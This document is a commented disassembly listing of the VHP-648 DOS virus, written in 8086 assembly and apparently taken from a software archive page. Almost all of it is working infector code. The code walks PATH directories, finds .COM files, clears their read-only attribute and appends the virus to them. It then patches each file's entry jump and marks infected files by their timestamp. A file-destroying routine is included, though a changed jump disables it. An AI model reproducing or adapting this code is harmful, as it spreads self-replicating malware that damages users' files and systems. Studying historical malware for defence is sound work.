home *** CD-ROM | disk | FTP | other *** search
- name Virus
-
- title Disassembly listing of the VHP-648 virus
-
- .radix 16
-
- code segment
-
- assume cs:code,ds:code
-
- org 100
-
- environ equ 2C
-
-
-
- start:
-
- jmp virus
-
- . . .
-
- virus:
-
- push cx ;Save CX
-
- mov dx,offset data ;Restore original first instruction
-
- ; before each contamination
-
- modify equ $-2 ;The instruction above is changed
-
- cld
-
- mov si,dx
-
- add si,saveins-data ;Instruction saved there
-
- mov di,offset start
-
- mov cx,3 ;Move 3 bytes
-
- rep movsb ;Do it
-
- mov si,dx ;Keep SI pointed at data
-
-
-
- mov ah,30 ;Get DOS version
-
- int 21
-
- cmp al,0 ;Less than 2.0?
-
- jne skip1
-
- jmp exit ;Exit if so
-
-
-
- skip1:
-
- push es ;Save ES
-
- mov ah,2F ;Get current DTA in ES:BX
-
- int 21
-
- mov word ptr [si+0],bx ;dtaadr
-
- mov word ptr [si+2],es
-
- pop es ;Restore ES
-
-
-
- mov dx,mydta-data
-
- add dx,si
-
- mov ah,1A ;Set DTA
-
- int 21
-
-
-
- push es ;Save ES & SI
-
- push si
-
- mov es,ds:[environ] ;Environment address
-
- mov di,0
-
- n_00015A: ;Search 'PATH=' in the environment
-
- pop si ;Restore data offset in SI
-
- push si
-
- add si,pathstr-data
-
- lodsb
-
- mov cx,8000 ;Maximum 32K in environment
-
- repne scasb ;Search for first letter ('P')
-
- mov cx,4 ;4 letters in 'PATH'
-
- n_000169:
-
- lodsb ;Search for next char
-
- scasb
-
- jne n_00015A ;If not found, search for next 'P'
-
- loop n_000169 ;Loop until done
-
- pop si ;Restore SI & ES
-
- pop es
-
-
-
- mov [si+16],di ;Save 'PATH' offset in poffs
-
- mov di,si
-
- add di,fname-data ;Point SI & DI at '=' sign
-
- mov bx,si ;Point BX at data area
-
- add si,fname-data
-
- mov di,si
-
- jmp short n_0001BF
-
-
-
- n_000185:
-
- cmp word ptr [si+16],6C ;poffs
-
- jne n_00018F
-
- jmp olddta
-
- n_00018F:
-
- push ds
-
- push si
-
- mov ds,es:[environ]
-
- mov di,si
-
- mov si,es:[di+16] ;poffs
-
- add di,fname-data
-
- n_0001A1:
-
- lodsb
-
- cmp al,';'
-
- je n_0001B0
-
- cmp al,0
-
- je n_0001AD
-
- stosb
-
- jmp n_0001A1
-
- n_0001AD:
-
- mov si,0
-
- n_0001B0:
-
- pop bx
-
- pop ds
-
- mov [bx+16],si ;poffs
-
- cmp byte ptr [di-1],'\'
-
- je n_0001BF
-
- mov al,'\' ;Add '\' if not already present
-
- stosb
-
-
-
- n_0001BF:
-
- mov [bx+18],di ;Save '=' offset in eqoffs
-
- mov si,bx ;Restore data pointer in SI
-
- add si,allcom-data
-
- mov cx,6 ;6 bytes in ASCIIZ '*.COM'
-
- rep movsb ;Move '*.COM' at fname
-
- mov si,bx ;Restore SI
-
-
-
- mov ah,4E ;Find first file
-
- mov dx,fname-data
-
- add dx,si
-
- mov cx,11b ;Hidden, Read/Only or Normal files
-
- int 21
-
- jmp short n_0001E3
-
-
-
- findnext:
-
- mov ah,4F ;Find next file
-
- int 21
-
- n_0001E3:
-
- jnc n_0001E7 ;If found, try to contaminate it
-
- jmp n_000185 ;Otherwise search in another directory
-
-
-
- n_0001E7:
-
- mov ax,[si+75] ;Check file time
-
- and al,11111b ; (the seconds, more exactly)
-
- cmp al,62d/2 ;Are they 62?
-
-
-
- ;If so, file is already contains the virus, search for another:
-
-
-
- je findnext
-
- cmp [si+79],64000d ;Is file size greather than 64,000 bytes?
-
- ja findnext ;If so, search for next file
-
- cmp word ptr [si+79],10d ;Is file size less than 10 bytes?
-
- jb findnext ;If so, search for next file
-
-
-
- mov di,[si+18] ;eqoffs
-
- push si ;Save SI
-
- add si,namez-data ;Point SI at namez
-
- n_000209:
-
- lodsb
-
- stosb
-
- cmp al,0
-
- jne n_000209
-
-
-
- pop si ;Restore SI
-
- mov ax,4300 ;Get file attributes
-
- mov dx,fname-data
-
- add dx,si
-
- int 21
-
-
-
- mov [si+8],cx ;Save them in fattrib
-
- mov ax,4301 ;Set file attributes
-
-
-
- ;The next `db's are there because MASM can't assemble
-
- ; the instruction `and cx,0FFFE' correctly (the fool!):
-
-
-
- and cx,0FFFE ;Turn off Read Only flag
-
- mov dx,fname-data
-
- add dx,si
-
- int 21
-
-
-
- mov ax,3D02 ;Open file with Read/Write access
-
- mov dx,fname-data
-
- add dx,si
-
- int 21
-
- jnc n_00023E
-
- jmp oldattr ;Exit on error
-
- n_00023E:
-
- mov bx,ax ;Save file handle in BX
-
- mov ax,5700 ;Get file date & time
-
- int 21
-
- mov [si+4],cx ;Save time in ftime
-
- mov [si+6],dx ;Save date in fdate
-
-
-
- mov ah,2C ;Get system time
-
- int 21
-
- and dh,111b ;Are seconds a multiple of 8?
-
-
-
- ;If so, destroy file (don't contaminate). Now this code is disabled.
-
-
-
- jmp short n_000266 ;CHANGED. Was jnz here
-
-
-
- ;Destroy file by rewriting an illegal jmp as first instruction:
-
-
-
- mov ah,40 ;Write to file handle
-
- mov cx,5 ;Write 5 bytes
-
- mov dx,si
-
- add dx,bad_jmp-data ;Write THESE bytes
-
- int 21 ;Do it
-
- jmp short oldtime ;Exit
-
-
-
- ;Try to contaminate file:
-
-
-
- ;Read first instruction of the file (first 3 bytes) and save it in saveins:
-
-
-
- n_000266:
-
- mov ah,3F ;Read from file handle
-
- mov cx,3 ;Read 3 bytes
-
- mov dx,saveins-data ;Put them there
-
- add dx,si
-
- int 21
-
- jc oldtime ;Exit on error
-
- cmp ax,3 ;Are really 3 bytes read?
-
- jne oldtime ;Exit if not
-
-
-
- ;Move file pointer to end of file:
-
-
-
- mov ax,4202 ;LSEEK from end of file
-
- mov cx,0 ;0 bytes from end
-
- mov dx,0
-
- int 21
-
- jc oldtime ;Exit on error
-
-
-
- mov cx,ax ;Get the value of file pointer
-
- sub ax,3 ;Subtract 3 from it to get real code size
-
- mov [si+14d],ax ;Save result in filloc
-
- add cx,data-(virus-100)
-
- mov di,si
-
- sub di,data-modify ;A little self-modification
-
- mov [di],cx
-
-
-
- mov ah,40 ;Write to file handle
-
- mov cx,enddata-virus ;Virus code length as bytes to be written
-
- mov dx,si
-
- sub dx,data-virus ;Now DX points at virus label
-
- int 21
-
- jc oldtime ;Exit on error
-
- cmp ax,enddata-virus ;Are all bytes written?
-
- jne oldtime ;Exit if not
-
-
-
- mov ax,4200 ;LSEEK from the beginning of the file
-
- mov cx,0 ;Just at the file beginning
-
- mov dx,0
-
- int 21
-
- jc oldtime ;Exit on error
-
-
-
- ;Rewrite the first instruction of the file with a jump to the virus code:
-
-
-
- mov ah,40 ;Write to file handle
-
- mov cx,3 ;3 bytes to write
-
- mov dx,si
-
- add dx,newjmp-data ;Write THESE bytes
-
- int 21
-
-
-
- oldtime:
-
- mov dx,[si+6] ;Restore file date
-
- mov cx,[si+4] ; and time
-
-
-
- ;And these again are due to the MASM 5.0 foolness:
-
-
-
- db 081,0E1,0E0,0FF
-
- db 081,0C9,01F,000
-
- ; and cx,not 11111b
-
- ; or cx,11111b ;Set seconds to 62 (?!)
-
-
-
- mov ax,5701 ;Set file date & time
-
- int 21
-
- mov ah,3E ;Close file handle
-
- int 21
-
-
-
- oldattr:
-
- mov ax,4301 ;Set file attributes
-
- mov cx,[si+8] ;They were saved in fattrib
-
- mov dx,fname-data
-
- add dx,si
-
- int 21
-
-
-
- olddta:
-
- push ds ;Save DS
-
- mov ah,1A ;Set DTA
-
- mov dx,[si+0] ;Restore saved DTA
-
- mov ds,[si+2]
-
- int 21
-
- pop ds ;Restore DS
-
-
-
- exit:
-
- pop cx ;Restore CX
-
- xor ax,ax ;Clear registers
-
- xor bx,bx
-
- xor dx,dx
-
- xor si,si
-
- mov di,100 ;Jump to CS:100
-
- push di ; by doing funny RET
-
- xor di,di
-
- ret -1
-
-
-
- data label byte ;Data section
-
- dtaaddr dd ? ;Disk Transfer Address
-
- ftime dw ? ;File date
-
- fdate dw ? ;File time
-
- fattrib dw ? ;File attribute
-
- saveins db 0EBh,0Fh,90 ;Original first 3 bytes
-
- newjmp db 0E9 ;Code of jmp instruction
-
- filloc dw ? ;File pointer is saved here
-
- allcom db '*.COM',0 ;Filespec to search for
-
- poffs dw ? ;Address of 'PATH' string
-
- eqoffs dw ? ;Address of '=' sign
-
- pathstr db 'PATH='
-
- fname db 40 dup (' ') ;Path name to search for
-
-
-
- ;Disk Transfer Address for Find First / Find Next:
-
-
-
- mydta label byte
-
- drive db ? ;Drive to search for
-
- pattern db 13d dup (?) ;Search pattern
-
- reserve db 7 dup (?) ;Not used
-
- attrib db ? ;File attribute
-
- time dw ? ;File time
-
- date dw ? ;File date
-
- fsize dd ? ;File size
-
- namez db 13d dup (?) ;File name found
-
-
-
- ;This replaces the first instruction of a destroyed file:
-
-
-
- bad_jmp db 0EA,0Bh,2,13,58
-
- enddata label byte
-
- code ends
-
- end start
-
-